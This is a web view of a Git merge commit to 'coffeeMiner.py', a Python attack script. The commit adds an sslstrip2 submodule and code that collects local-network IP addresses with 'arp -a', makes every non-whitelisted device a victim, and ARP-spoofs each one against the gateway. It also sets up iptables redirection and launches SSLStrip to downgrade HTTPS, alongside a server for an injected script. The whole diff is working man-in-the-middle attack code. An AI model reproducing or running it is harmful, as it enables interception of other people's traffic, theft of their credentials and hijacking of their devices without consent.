Browse Source

Merge 786b670f34 into 7a9270e7d8

pull/7/merge
Chase Taylor 7 years ago
committed by GitHub
parent
commit
15fa783da5
4 changed files with 32 additions and 6 deletions
  1. +3
    -0
      .gitmodules
  2. +28
    -6
      coffeeMiner.py
  3. +1
    -0
      sslstrip2
  4. +0
    -0
      whitelist.txt

+ 3
- 0
.gitmodules

@ -0,0 +1,3 @@
[submodule "sslstrip2"]
path = sslstrip2
url = https://github.com/byt3bl33d3r/sslstrip2

+ 28
- 6
coffeeMiner.py

@ -1,13 +1,32 @@
import os
import sys
import subprocess, re, os, sys
def get_victims():
whitelist = 'whitelist.txt'
victims = []
ip_str = subprocess.check_output(['arp','-a']) # use arp -a to get connected devices
ip_list = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", ip_str) # use regex to turn the output into a list
if not os.path.isfile(whitelist):
victims = ip_list
print("No %s! Continuing...") % whitelist
else:
for ip in ip_list:
if not ip in open('whitelist.txt').read():
#add ip to victim's list if it's not in whitelist.txt
victims.append(ip)
else:
print("Skipping whitelisted ip %s") % ip
return victims
#get gateway_ip (router)
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)
victims = get_victims()
print("victims: ")
for v in victims:
print(v)
# configure routing (IPTABLES)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
@ -20,6 +39,9 @@ os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRE
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
# run SSLStrip on port 8080
os.system("xterm -hold -e 'python3 sslstrip2/sslstrip.py -l 8080' &")
# start the http server for serving the script.js, in a new console
os.system("xterm -hold -e 'python3 httpServer.py' &")

+ 1
- 0
sslstrip2

@ -0,0 +1 @@
Subproject commit f228f302826cf7b4f18823ba2f8a4b1cca89404e

victims.txt → whitelist.txt


Loading…
Cancel
Save